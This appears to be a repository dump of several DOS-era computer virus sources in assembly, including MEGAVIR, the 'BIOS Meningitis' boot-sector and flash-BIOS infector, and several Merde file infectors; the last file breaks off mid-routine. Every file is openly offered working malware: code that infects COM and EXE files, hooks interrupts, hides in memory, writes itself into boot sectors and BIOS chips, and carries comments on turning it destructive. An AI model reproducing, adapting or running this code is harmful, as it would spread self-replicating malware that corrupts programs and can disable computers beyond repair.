rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
+5
View File
@@ -0,0 +1,5 @@
;******************************************************************************
; The High Evolutionary's [MeGaTrOjAn] v1.0
;******************************************************************************
;
; Development Notes: (Dec.12.9O)
+97
View File
@@ -0,0 +1,97 @@
ideal
p386
model tiny
codeseg
startupcode
n_int=len/4+82h
;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/
;Expected values in registers at entry point: bx=0 ch=0
;Compile to COM
call start
old_3: int 20h
nop
start: pop di
dec di
dec di
mov si,[di]
dec di
push di
add si,di
movsw
movsb
shl di,1
mov es,bx
cmpsb
je in_m
dec si
dec di
mov cl,len
rep
movsb
mov ax,OFFSET int21+100h
cwde
xchg eax,[es:84h]
stosd
in_m: push ds
pop es
retn
call0: mov ax,4000h
call1: push ax
int 21h
pop ax
mov ah,42h
cwd
call2: xor cx,cx
int 21h
mov cl,3
mov si,203h
mov dx,si
retn
int21: cmp ax,4B00h
jne noinf
pusha
push ds
mov ax,3D02h
call call2
xchg bx,ax
jc fail
push cs
pop ds
mov ax,3F02h
call call1
xchg bp,ax
mov cl,len+3
lodsb
cmp al,'M'
je close
cmp al,0E8h
je close
call call0
mov [BYTE si],0E8h
mov [WORD si+1],bp
call call0
close: mov ah,3Eh
int 21h
fail: pop ds
popa
noinf: ;rept ($-start+1) mod 4
;db 90h
;endm
db 0EAh
len=$-start
end
+467
View File
@@ -0,0 +1,467 @@
;.........................................................................
;
; -=[ BIOS Meningitis ]=-
; Qark/VLAD
;
;
; Basic boot sector virus with a twist.
;
; The worlds first flash BIOS infecting virus!
;
; I _just_ fit all this into 512 bytes. Infact there is only four bytes
; spare... there wasn't even enough room for the name! It used to copy
; the partition table to the end of the virus but that is 64 bytes that
; just couldn't spared, so now you if you boot from a floppy disk, the
; hard disk won't be accessible. But it's a full stealth virus apart
; from that.
;
; If you have flash BIOS on your computer there is a chance it will fuck
; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
; remove this virus!!!
;
; The results of any tests of this with flash BIOS would be appreciated.
;
; Assemble with A86 as always.
;
;.........................................................................
;On entry to the boot sector DL=Drive booted from.
org 0
mov si,7c00h
xor ax,ax
mov es,ax
cli
mov ss,ax ;Setup the stack
mov sp,si
sti
mov ds,ax ;DS,CS,ES,SS=0
;*** 40:[13] - memory in k's - reduce by one or so ***
dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
int 12h ;Get memory into AX
;Since memory is in K we have to
;multiply by 1024. To do that we
;would SHL AX,10. But because we are
;looking for the segment that takes
;4 bits off the equation.
mov cl,6
shl ax,cl ;Thus SHL AX,6
mov es,ax ;ES = Virus Segment
;*** read virus sector into TOM (top of memory) ***
xor di,di
mov cx,200h
cld
rep movsb ;Move virus to ES:0
mov ax,word ptr [13h*4] ;Get int13h from vector table.
mov word ptr es:[offset i13],ax
mov ax,word ptr [13h*4+2]
mov word ptr es:[offset i13+2],ax
mov word ptr [13h*4],offset handler
mov word ptr [13h*4+2],es
already_resident:
push es
mov ax,offset restart
push ax
retf
Restart:
;Load the original bootsector from the end of the root directory and
;execute it.
xor ax,ax
call int13h
xor ax,ax
mov es,ax
mov bx,7c00h ;Where it's meant to be.
mov cx,2 ;Read HD boot strap from MBR.
xor dh,dh
mov ax,201h ;Read one sector from root directory.
cmp dl,80h
jae MBR_Loader
;load up floppy
mov cl,14 ;Cylinder=0, Sector=14
mov dh,1 ;Head=1
MBR_Loader:
call int13h
push dx ;DL=Drive we are at.
cmp byte ptr cs:flash_done,1 ;flash is already infected.
je flash_resident
call flash_BIOS ;Infect flash BIOS if any.
Flash_resident:
pop dx
db 0eah ;JMPF 0000:7C00H
dw 7c00h
dw 0
Stealth:
mov cx,2
mov ax,201h
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
call int13h
jmp pop_exit
res_test:
xchg ah,al
iret
Handler:
cmp ax,0abbah
je res_test
cmp ah,2 ;Reading the first sector ?
jne jend
cmp cx,1
jne jend
cmp dh,0
jne jend
try_infect:
call int13h
jc jend
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
;Test if already infected.
cmp word ptr es:[bx + offset marker],'LV'
je stealth ;Already infected.
cmp dl,80h ;C:
jb infect_floppy
mov cx,2 ;Sector 2 - Empty MBR space.
xor dh,dh
jmp write_virus
Infect_Floppy:
;Store at end of root directory for floppy drives.
;(Will fuck up on 360k but I dont give a shit!)
mov cx,14 ;Cylinder=0, Sector=14
mov dh,1 ;Head=1
Write_Virus:
;Write original boot sector to spare room.
mov ax,301h
call int13h
jc pop_exit
;The virus is written at this point.
push cs
pop es
mov byte ptr cs:flash_done,0
xor bx,bx
mov ax,301h ;Write virus.
mov cx,1
xor dh,dh
call int13h
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
retf 2
jend:
db 0eah ;Stands for Jmpf
i13 dd 0 ;The original int13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
Marker db 'VLAD' ;Running out of room so small
;marker.
Flash_BIOS Proc Near
; Flash BIOS infection (c) 1994 Qark/VLAD!
;Disclaimer: If any of this wrecks your computer that's your bad luck
;because you know this is dangerous code.
;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
;written by a BIOS maker you'd think so...
mov ax,0e000h ;Get flash BIOS number.
int 16h ;Test for its presence.
jc no_flash_bios
cmp al,0fah ;<-- gotta test this
jne no_flash_bios
Infect_Flash:
;We are now working with AMIFLASH!
;First we'll find a nice place to store our virus.
; We'll scan between F000-FFFF where BIOS is normally stored for
; a 1K chunk of consecutive zeros. (We might only need half a K
; but I'm overplanning)
mov ax,0f000h ;ROM BIOS segment
mov ds,ax
New_segment:
xor si,si
xor dx,dx
ok_new_segment:
inc ax
mov ds,ax
cmp ax,0fff0h ;No room for our virus.
je no_flash_BIOS
Test16:
cmp word ptr [si],0 ;Scan words
jne new_segment
inc dx ;DX is our free room counter.
cmp dx,512 ;1024 byte buffer found (512x2)
je found_storage
inc si
inc si ;Coz we are messing with words.
cmp si,16 ;We are going up in paragraphs.
je ok_new_segment
jmp test16
Found_storage:
sub ax,40h ;Sub 1K (40hx16=1024)
mov ds,ax ;Coz we are using segments
mov ax,0e001h ;Chipset save requirement.
int 16h
;BX=Number of bytes to Save Chipset.
cmp bx,512
jbe save_chipset
;We won't bother saving the chipset because it takes up more room
;than our virus buffer can store. Fuck em :)
mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
jmp write_enable
No_Flash_BIOS:
ret
save_chipset:
mov byte ptr cs:chipset,0 ;We've saved stuff.
mov al,2
push cs
pop es ;ES=CS
mov di,offset buffer
int 16h ;Chipset Status to ES:DI
write_enable:
mov al,5
int 16h ;Raise Voltage (this may take time).
mov al,7 ;Flash Write Enable.
int 16h
;Flash Memory is now writable. I am working on nothing here
;so I'll assume you just write to it normally and it'll be
;put there. If you were into writing destructive payloads
;this would be the mother of them all. Just load CX with 0ffffh
;to trash their computer. Also, leaving the computer in this
;state for extended periods could cause damage (Dunno ? Their
;electricity bill would go up at least :)
push ds
pop es ;DS=ES=Place to put virus.
xor di,di
mov cx,512 ;<-- FFFF = trouble!
push cs
pop ds ;DS=CS
xor si,si
cld
rep movsb ;Move our virus into BIOS.
;Hopefully our virus is written ?
;Ok, I looked into this carefully. At bootup int19h points
;into the BIOS but thereafter is grabbed by various programs
;(Dunno why, its the shittiest interrupt out). So, if you debug
;right now it'll point into some shadowed area or else into
;segment 70h, but it won't at bootup which is the only time boot
;sector viruses get executed so all is cool.
;What we'll do is modify the actual bytes at the entry point to
;the interrupt. You might think I should do something else but
;I can't think of any other way of hooking an interrupt at bootup.
;Priest-P/S reckoned I should just store my virus in the Flash
;and let the bootvirus just jump to it or something but then
;it's not really infected methinks. He also suggested I just modify
;the int13h entry point and restore the bytes etc. Well as you can
;see from the involved code needed just to write to flash I think
;that with a common interrupt like int13h it isn't feasible.
;Get Segment:Offset of original int19handler
mov bx,es ;BX=Virus Segment
xor ax,ax
mov ds,ax ;DS=Vector Table.
mov di,word ptr [19h*4] ;Offset of int19h
mov es,word ptr [19h*4+2] ;Segment of 19h
;Write a JMP FAR at the int19h entry point.
mov al,0eah
stosb
mov ax,offset int19handler
stosw
mov ax,bx
stosw ;Creates a JMPF INT19HANDLER at the
;int19h entry point.
mov ax,0e004h ;Lower Voltage.
int 16h
mov al,6 ;Write Protect.
int 16h
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS ;We've done for this one.
push cs
pop es ;ES=CS
mov al,3
mov di,offset buffer ;Restore all their shit.
int 16h
jmp no_flash_bios
chipset db 0 ;1=chipset not saved
flash_done db 0 ;1=loaded from flash.
;This is our own int19h handler. The original sux because it isn't infected.
;(Strange logic :)
Int19Handler Proc Near
xor ax,ax
mov es,ax ;ES=0
mov ax,0abbah ;ABBA - from Muriels Wedding.
int 13h
cmp ax,0baabh ;BAAB - I like these.
jne real_int19h
;We are currently before the boot here. Lets install our virus before
;any boot sectors or anything get loaded.
push cs ;DS=0
pop ds
cld
xor si,si
mov di,7c00h
mov cx,512
rep movsb ;Move our virus from BIOS into boot buffer.
mov dl,80h ;Make it think its C:
jmp goto_Buffer ;Execute it.
real_int19h:
xor ax,ax
int 13h ;Reset disk
mov cx,1
mov dh,0
mov ax,201h
mov bx,7c00h
cmp dl,0
ja hd_int19h
int 13h ;Read boot sector.
jc fix_hd
Goto_Buffer:
mov byte ptr es:[7c00h+offset flash_done],1
db 0eah ;JMPF 0000:7C00
dw 7c00h
dw 0
Fix_HD:
mov dl,80h ;Boot from C:
HD_Int19h:
xor ax,ax
int 13h ;Reset controller.
mov ax,201h
int 13h
jc fucked_boot
jmp Goto_Buffer
Fucked_boot:
int 18h ;Called when a boot fucks up
Int19Handler EndP
Flash_BIOS EndP
End_Virus:
DupSize equ 510 - offset End_Virus
db DupSize dup (0)
db 55h,0aah ;End of Sector Marker.
Buffer: ;512 bytes of storage space in here.
+203
View File
@@ -0,0 +1,203 @@
;well, here's the next installment of the merde virus...all that is new;
;is your run of the mill xor encryption........and a little change in;
;the code itself to make it slightly more modular...;
;up+coming: .exe version(why put 'em together? makes it too big);
; an actual function besides infect!;
; TSR infect version?;
attrib equ 21
time equ 22
date equ 24
fspec_address equ 0e4h
filesize equ 26
fname equ 30
dta equ 80h
virsize equ 354
byte_compare_val equ 35
CODE_SEG SEGMENT BYTE
ASSUME DS:CODE_SEG, CS:CODE_SEG
ORG 100h
first: jmp caller
db 128 dup(00)
caller: call caller2 ;si=this address for the whole thing;
;ok, for encryption, we use the value of the byte at the jump instruction;
;if the file we find isn't infected...;
encryptv: db ?
;si=offset of the "caller";
caller2: pop si
sub si,3
jmp getstart
;jmp to getstart and have it call us back, getting the address of "start";
;into es..(I know, why not just add the size of the stuff to si?;
;I'll do it some other time;
after: pop es ;es=start:;
;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
;function so it was more unsingular to a particular circumstance;
mov bp,es ;unencrypt de code+jump to virus;
jmp encrypt
;if we are being called from the write proc, we need to save BP on the stack;
encrypt_w: mov ax,bp ;ax=whereto jump at end;
pop bp ;bp=return to write routine;
push ax ;where to jump at end is on stack
;note the standard, run o' the mill encrypt/decrypt!;
encrypt: push bx ;might not be needed, I'll check later;
push si
mov cl,[si+3] ;offset of encrypt value;
mov bx,es ;where to start encrypting;
xor si,si
xloop: mov al,[bx+si]
xor al,cl
mov [bx+si],al
cmp si,0e7h ;size of post-start(or close enough);
ja done
inc si
jmp xloop
done: pop si
pop bx
jmp bp ;jump whereever we were supposed to;
write_code: call encrypt_w ;yep, encrypt it;
pop bp ;get back address in this infected file;
mov bx,[di+9] ;file to jump to, and file handle;
mov ah,40h
mov cx,virsize ;total virus size
mov dx,si
int 21h
call close_current
jmp nofiles ;not really, just didn't change name;
;this proc closes the file with original stats;
close_current:
mov dx,[di+14]
mov cx,[di+12]
mov ax,5701h
mov bx,[di+9]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
xor ch,ch
mov cl,[di+11]
int 21h
ret
nofiles: push ds
pop es
jmp bp
getstart: call after
;encrypted from here on out-es=start of this procedure;
start: mov di,es
add di,fspec_address ;di=ADDRESS OF FILESPEC!;
mov dh,[di+18]
mov ah,[di+17]
mov al,[di+16]
mov bx,100h
mov [bx],al
mov [bx+1],ah
mov [bx+2],dh
mov bp,bx
mov ah,4eh ;------------------;
mov cx,33
mov dx,di ;find file match;
search: int 21h
jc nofiles ;get out if none found;
mov bx,dta+filesize ;compare filesize via BX;
cmp word ptr [bx],65000
ja leave1
cmp word ptr [bx],150
jb leave1
jmp ok
leave1: mov ah,4fh
jmp search
ok: CLC
;Okay-- DI=base of fspec;
mov bx,dta+attrib
mov al,[bx]
mov [di+11],al ;save attrib;
mov ax,word ptr [bx+1]
mov [di+12],ax ;save time;
mov ax,word ptr [bx+3]
mov [di+14],ax ;save date;
mov ax,4301h
mov cx,0
mov dx,dta+fname
int 21h ;set attrib to 0;
label2: mov ax,3d02h
int 21h
mov [di+9],ax ;open + save handle;
mov bx,ax
mov ah,3fh
mov cx,3
mov dx,di
add dx,16 ;dx points to save area for first three bytes;
int 21h ;open handle, and read 3 bytes into it;
cmp byte ptr [di+16],0e9h
jne label1
cont: mov ax,4200h
xor cx,cx
mov dx,[di+17]
add dx,3+byte_compare_val
mov bx,[di+9]
int 21h
mov ah,3fh
mov cx,2
mov dx,di
add dx,6
int 21h
mov dx,[di+6]
cmp dx,[si+byte_compare_val]
jne label1
call close_current
jmp leave1
label1:
;set encrypt value here---(low order byte of filesize of next file;
mov bx,dta+filesize
mov dl,[bx]
mov [si+3],dl
mov bx,[di+9]
mov ax,4200h
xor cx,cx
mov dx,0
int 21h
;okay, this is kinda thick..;
;set pointer to after jmp instruct, and change address to size;
;of file plus 3 for jmp instruction, minding that we have to flip stuff;
mov bx,dta+filesize
mov dh,[bx+1] ;high val equals 2nd part of word+vice versa;
mov dl,[bx]
sub dx,3
mov [di+7],dx
mov byte ptr [di+6],0e9h
mov ah,40h
mov bx,[di+9]
mov dx,di
add dx,6
mov cx,3
int 21h
xor cx,cx
mov ax,4202h
xor dx,dx
int 21h
jmp write_code
fspec: db '*.com',0 ;bx+0;
disk_buffer: db 3 DUP(?) ;di+6;
handle: dw ? ;di+9;
attribute: db ? ;di+11;
otime: dw ? ;di+12;
odate: dw ? ;di+14;
first_3: db 0cdh,20h,00 ;di+16;
CODE_SEG ENDS
END first
+405
View File
@@ -0,0 +1,405 @@
; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator
;Well, here it is, for what it's worth.. It is really kind of a
;piece of crap, but it is just a rough draft..
;NOTES:
; If this gets into Command.Com, it (command) won't work for unknown reasons..
; I could have fixed it by just checking to make sure the file it is infecting
; isn't command.com, but I decided that this would be it's harmful side effect
; and left it... I will have to fix several things in it, like its memory
; handling, etc... It only infects files when they are loaded for EXECUTION!
; it won't infect .com files loaded by debug via AX=4b03, or al=anything
; except 00.... Also, it hooks int 71 for its own type of multiplex
; interrupt to check if the resident portion is already installed..
; I don't know if that will get me in trouble or not. This is not very well
; tested, so it may hand under some circumstances or ill-behaved programs
; that mess with the memory (like I did)... Well, I need to add .exe
; infection, or I will be just a wanna-be virus writer!
; At this very moment, I will probably modify it for infection of any function
; that gives INT 21 a DS:DX pointer to a com file.
; Oh, yeah- If you compile it, you have to run the included Maker.bat file
; after you have compiled it (Use Tasm, but I guess anything will work.)
; Any GOOD virus writers out there will obviously notice how inefficient this
; is, so if you do, leave me mail with some pointers....
compare_val equ 900
interrupt equ 21h
Code_seg Segment Byte
Assume DS:Code_seg, CS:Code_seg
ORG 100h
start: mov di,0100h ;di=start
mov si,bx
add si,offset five_bytes-100h
mov cx,5
rep movsb
int 71h
cmp ax,9999h
jne okay
mov ax,0100h
xor si,si
xor si,di
xor cx,cx
jmp ax
okay: mov di,bx
sub di,100h
xor ax,ax
mov es,ax
mov ax,es:[interrupt*4]
mov bx,es:[interrupt*4+2]
mov [di+int_21_saveo],ax
mov [di+int_21_saves],bx
push cs
pop es
mov [di+orig_stackp],sp
cli
mov sp,di
add sp,offset my_stack
sti
push ax
push bx
push cx
push dx
push bp
push ds
push es
push si
push di
mov [di+my_stack_save],sp
cli
mov sp,[di+orig_stackp]
sti
int 12h
mov bx,cs
mov cx,1024
mul cx
clc
mov cx,400h
sub ax,cx
sbb dx,0000 ;dx:ax=where we want this mem to end!
mov [di+high_ram],dx
mov [di+low_ram],ax
here: mov cx,cs
mov ax,0010h
mul cx
clc
mov cx,di
add cx,offset ending
add ax,cx
adc dx,0000
clc
sub [di+low_ram],ax
sbb [di+high_ram],dx
clc
mov ax,[di+low_ram]
mov dx,[di+high_ram]
mov cx,0010h
div cx ;dx:ax=memory above this-divide it by 16
mov bx,ax
mov ah,4ah
int 21h
jnc okay_1
jmp get_out
okay_1: mov ah,48h
mov bx,60h
int 21h
mov [my_segment+di],ax
jnc okay_2
jmp get_out
okay_2: push di
xor di,di
xor si,si
mov es,ax
mov cx,100h
rep movsb
pop si
push si
add si,100h
mov cx,offset ending-100h
rep movsb
pop di
mov dx,es
sub dx,1
mov es,dx
mov es:[1],ax
mov byte ptr es:[0],'Z'
mov word ptr es:[3],0000
mov es,ax
mov es:[16h],ds
mov ax,offset return_to_file
add ax,di
mov es:[0ah],ax
mov es:[0ch],ds
mov ah,50h
mov bx,es
int 21h
mov dx,600h
mov ax,es
mov ds,ax
mov es,ax
push cs
pop ss
mov word ptr cs:[return_to_file+di+1],di
mov sp,600h
int 27h
return_to_file:
mov di,0000
xor ax,ax
mov es,ax
mov bx,offset my_21
mov ax,cs:[di+my_segment]
mov word ptr es:[interrupt*4],bx
mov word ptr es:[interrupt*4+2],ax
mov word ptr es:[71h*4+2],ax
mov bx,offset my_71
mov word ptr es:[71h*4],bx
mov ax,cs
cli
mov ss,ax
mov sp,cs:[my_stack_save+di]
sti
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
pop ax
cli
mov sp,cs:[di+orig_stackp]
sti
mov ax,0100h
jmp ax
get_out:
mov ax,cs
cli
mov ss,ax
mov sp,cs:[di+my_stack_save]
sti
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
pop ax
cli
mov sp,cs:[di+orig_stackp]
sti
mov ax,0100h
jmp ax
;------------------------------------------------------------------
my_21:
cmp ah,4bh
je continue_with_it
jmp continue_21
continue_with_it:
cmp al,00
je okay_go
jmp continue_21
okay_go:
push ax
push bx
push cx
push dx
push es
push di
push si
push bp
push es
push ds
check_file:
mov bx,dx
xor si,si
looper:
cmp byte ptr ds:[bx+si],'.'
je check_com
cmp si,35
jle okay5
jmp give_up1
okay5: inc si
jmp looper
check_com:
inc si
cmp byte ptr ds:[bx+si],'c'
je check_for_infection
cmp byte ptr ds:[bx+si],'C'
je check_for_infection
jmp give_up1
check_for_infection:
mov cs:[high_file],ds
mov cs:[low_file],dx
mov ah,50h ;set PSP to ours
push cs
pop bx
call dos_21
mov ah,43h
xor al,al
call dos_21
jnc okay9
jmp give_up
okay9: mov cs:[attrib],cx
mov ah,43h
mov al,1
xor cx,cx
call dos_21
mov ah,3dh
mov al,2
call dos_21
jnc okay10
jmp give_up
okay10: mov cs:[handle],ax
mov bx,ax
mov ah,57h
xor al,al
call dos_21
mov cs:[date],dx
mov cs:[time],cx
mov al,2
mov ah,42h
xor dx,dx
xor cx,cx
call dos_21
jnc okay11
jmp give_up
okay11: cmp dx,0
je okay12
jmp give_up
okay12: mov cs:[file_size],ax
cmp ax,64000
jb contin1
call reset_all
jmp give_up
contin1:
cmp ax,1024
jnb contin2
call reset_all
jmp give_up
contin2:
sub ax,compare_val
mov dx,ax
xor cx,cx
mov ah,42h
xor al,al
mov bx,cs:[handle]
call dos_21
mov ah,3fh
push cs
pop ds
mov dx,offset buffer
mov cx,2
call dos_21
mov ax,word ptr cs:[buffer]
mov bx,word ptr cs:[offset ending-compare_val]
cmp ax,bx
jne infect_it
call reset_all
jmp give_up
infect_it:
xor cx,cx
xor dx,dx
mov bx,cs:[handle]
mov ax,4200h
call dos_21
mov ah,3fh
mov cx,5
push cs
pop ds
mov dx,offset five_bytes
call dos_21
mov ax,4202h
xor cx,cx
xor dx,dx
call dos_21
mov ax,cs:[file_size]
add ax,100h
mov word ptr cs:[jumper+1],ax
mov ah,40h
mov cx,offset ending-100h
mov dx,0100h
call dos_21
xor cx,cx
xor dx,dx
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov dx,offset jumper
mov ah,40h
mov cx,5
call dos_21
call reset_all
give_up:
mov ah,50h
mov bx,cs:[high_file]
call dos_21
give_up1:
pop ds
pop es
pop bp
pop si
pop di
pop es
pop dx
pop cx
pop bx
pop ax
jmp continue_21
continue_21:
jmp dword ptr cs:[int_21_saveo]
dos_21:
pushf
call dword ptr cs:[int_21_saveo]
ret
reset_all:
mov bx,cs:[handle]
mov cx,cs:[time]
mov dx,cs:[date]
mov ax,5701h
call dos_21
mov ah,3eh
mov bx,cs:[handle]
call dos_21
mov ah,43h
mov al,1
mov cx,cs:[attrib]
mov ds,cs:[high_file]
mov dx,cs:[low_file]
call dos_21
ret
my_71:
mov ax,9999h
iret
dw 44 dup(00)
my_stack:
jumper: mov bx,0000
jmp bx
file_size dw 0000
high_file dw 0000
low_file dw 0000
handle dw 0000
attrib dw 0000
date dw 0000
time dw 0000
int_21_saveo dw 0000
int_21_saves dw 0000
orig_stackp dw 0000
my_stack_save dw 0000
high_ram dw 0000
low_ram dw 0000
my_segment dw 0000
buffer: db 10 dup(00)
five_bytes: db 0cdh,20h,90h,90h,90h
my_little_message_to_the_world:
db 'Scan me, I LIKE IT!!!!-Loki-nator!'
ending:
Code_seg ENDS
END start
+613
View File
@@ -0,0 +1,613 @@
; Okay, here is my newest version.. It now
; offers EXE infection. I messed up command.com
; compatibility so this version won't infect it.
; Also, this version might be a little shakey,
; but it should work okay with most setups
; (I'm not professional yet, so screw 'em
; if this hangs!)..
; This will be the last time I release code for
; my virii. Thanks to firststrike, and anyone else
; who has given me tips.....
; Be careful not to get this, it is kinda hard to get rid
; of (it would be REALLY hard to get rid of if it infected
;command.com- I will have to fix that (along with the TERRIBLE
; inefficiency in my interrupt handler (the loader is OKAY, but
; My_21 is just kind of a jumble of code thrown together for now.
; If you want to vaccinate your system, and you know a little about
; assembler, it isn't that hard. (I gave the come version to
; myself about 3 times). Just take notice of my use of interrupt
; 71...(This will be changed in future versions, for obvious reasons).
; MERDE-5 The merde virus version 5.0- loki
compare_val equ 850
interrupt equ 21h
Code_seg Segment Byte
Assume DS:Code_seg, CS:Code_seg
ORG 100h
start: call get_ip
exe_or_com:
dw 'CO'
get_ip:
pop di
sub di,3
cmp word ptr cs:[di+3],'EX'
jne com_memory_loader
jmp exe_memory_loader
;Load memory from within an EXE file..
;------------------------------------------------------------------------------
exe_memory_loader:
call check_for_int_71
jc go
call get_memory ;es=my_segment
jnc aaaa
jmp exit_exe
aaaa:
call hide_memory
call set_int_71
call save_21
push ds
call move_all_code
pop ds
mov bx,es
call set_21
go: jmp exit_exe
;------------------------------------------------------------------------------
;******************************************************************************
;------------------------------------------------------------------------------
;load memory from a COM file...
com_memory_loader:
call restore_com
call check_for_int_71
jc go_1
call get_memory
jnc bbbb
jmp exit_com
bbbb: call hide_memory
reset_di:
call set_int_71
call save_21
call move_all_code
mov bx,es
call set_21
go_1: jmp exit_com
;------------------------------------------------------------------------------
;Returns ES with my segment (or an error)
;------------------------------------------------------------------------------
get_memory:
int 12h
mov bx,cs
mov cx,1024
mul cx
clc
mov cx,600h ;Amount of needed memory
sub ax,cx
sbb dx,0000 ;dx:ax=where we want this mem to end!
mov bx,dx
mov bp,ax ;save this...
mov cx,cs
mov ax,0010h
mul cx
clc
mov cx,di
add cx,offset ending-100h
add ax,cx
adc dx,0000
clc
sub bp,ax
sbb bx,dx
clc
mov ax,bp
mov dx,bx
mov cx,0010h
div cx ;dx:ax=memory above this-divide it by 16
mov bx,ax
mov ah,4ah
int 21h
jc get_memory_error
mov bx,60
mov ah,48h
int 21h
jc get_memory_error
mov es,ax
clc
ret
get_memory_error:
stc
ret
;------------------------------------------------------------------------------
;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
;------------------------------------------------------------------------------
move_all_code:
;move PSP**************************
push di
xor si,si
xor di,di
mov cx,100h
rep movsb
;**********************************
;move my code**********************
pop si
push si
push cs
pop ds
mov cx,offset ending-100h
rep movsb
pop di
ret
;**********************************
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
;saves interrupt 21 in cs:[int_21_saveo]
save_21:
push es
xor ax,ax
mov es,ax
mov ax,es:[interrupt*4]
mov bx,es:[interrupt*4+2]
mov cs:[di+offset int_21_saveo-100h],ax
mov cs:[di+offset int_21_saves-100h],bx
pop es
ret
;-----------------------------------------------------------------------------
;sets interrupt 21 to bx:offset of my_21
set_21:
push es
xor ax,ax
mov es,ax
mov es:[interrupt*4],offset my_21
mov es:[interrupt*4+2],bx
pop es
ret
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;Restores a COM file
restore_com:
push di
mov si,di
add si,offset three_bytes-100h
mov di,0100h
mov cx,3
rep movsb
pop di
ret
;------------------------------------------------------------------------------
;Hides my segment's (es) size and owner
hide_memory:
push ds
xor cx,cx
mov ds,cx
mov cx,ds:[2eh*4+2]
pop ds
push ds
mov dx,es
dec dx
mov ds,dx
mov ds:[1],cx ;maybe later set to DOS seg
mov byte ptr ds:[0],'Z'
mov word ptr ds:[3],0000
mov es:[16h],cx
mov es:[0ah],cx
mov es:[0ch],cx
pop ds
ret
;------------------------------------------------------------------------------
;check_for_int 71- My little multiplex interrupt
check_for_int_71:
int 71h
cmp ax,9999h
je set_c
clc
ret
set_c:
stc
ret
;------------------------------------------------------------------------------
;Set interrupt 71:
set_int_71:
push ds
xor ax,ax
mov ds,ax
mov ds:[71h*4+2],es
mov ds:[71h*4],offset my_71
pop ds
ret
exit_com:
xor cx,cx
xor dx,dx
xor ax,ax
xor bx,bx
xor si,si
xor di,di
mov ax,100h
jmp ax
exit_exe:
push ds
pop es
mov ax,es
add ax,10h
add word ptr cs:[di+offset orig_cs-100h],ax
cli
add ax,word ptr cs:[di+offset orig_ss-100h]
mov ss,ax
mov sp,word ptr cs:[di+offset orig_sp-100h]
sti
jmp dword ptr cs:[di+offset orig_ip-100h]
;------------------------------------------------------------------
my_21:
cmp ah,4bh
je okay_go
cmp ah,0fh
je okay_go
cmp ah,3dh
je okay_go
cmp ah,43h
je okay_go
jmp continue_21
okay_go:
push ax
push bx
push cx
push dx
push es
push di
push si
push bp
push es
push ds
check_for_com:
xor si,si
mov bx,dx
looper:
cmp word ptr ds:[bx+si],'c.'
je check_om
cmp word ptr ds:[bx+si],'C.'
je check_om
cmp word ptr ds:[bx+si],'e.'
je check_ex
cmp word ptr ds:[bx+si],'E.'
je check_ex
inc si
cmp si,40
jne looper
jmp give_up1
check_om:
cmp word ptr ds:[bx+si+2],'mo'
jne bb
mov cs:[com_or_exe],0
jmp check_for_infection
bb: cmp word ptr ds:[bx+si+2],'MO'
jne cc
mov cs:[com_or_exe],0
jmp check_for_infection
cc: jmp give_up1
check_ex:
cmp word ptr ds:[bx+si+2],'ex'
jne label1
mov cs:[com_or_exe],1234h
jmp okay_do
label1:
cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!!
je cccc ;forget exe for now..
jmp give_up1
cccc:
mov cs:[com_or_exe],1234h
jmp okay_do
check_for_infection:
cmp word ptr [bx+si-2],'DN'
jne okey_k
jmp give_up1
okey_k:
cmp word ptr [bx+si-2],'DN'
jne okay_do
jmp give_up1
okay_do:
mov cs:[storage_1],ds
mov cs:[storage_2],dx
mov ah,50h ;set PSP to ours
push cs
pop bx
call dos_21
mov ah,43h
xor al,al
call dos_21
jnc okay9
jmp give_up
okay9: mov cs:[attrib],cx
mov ah,43h
mov al,1
xor cx,cx
call dos_21
mov ah,3dh
mov al,2
call dos_21
jnc okay10
jmp give_up
okay10: mov cs:[handle],ax
mov bx,ax
mov ah,57h
xor al,al
call dos_21
mov cs:[date],dx
mov cs:[time],cx
mov ax,4202h
xor dx,dx
xor cx,cx
call dos_21
jnc okay11
jmp give_up
okay11: mov cs:[file_size],ax
cmp cs:[com_or_exe],1234h
jne okey_p
sub ax,compare_val
sbb dx,0000
mov cx,dx
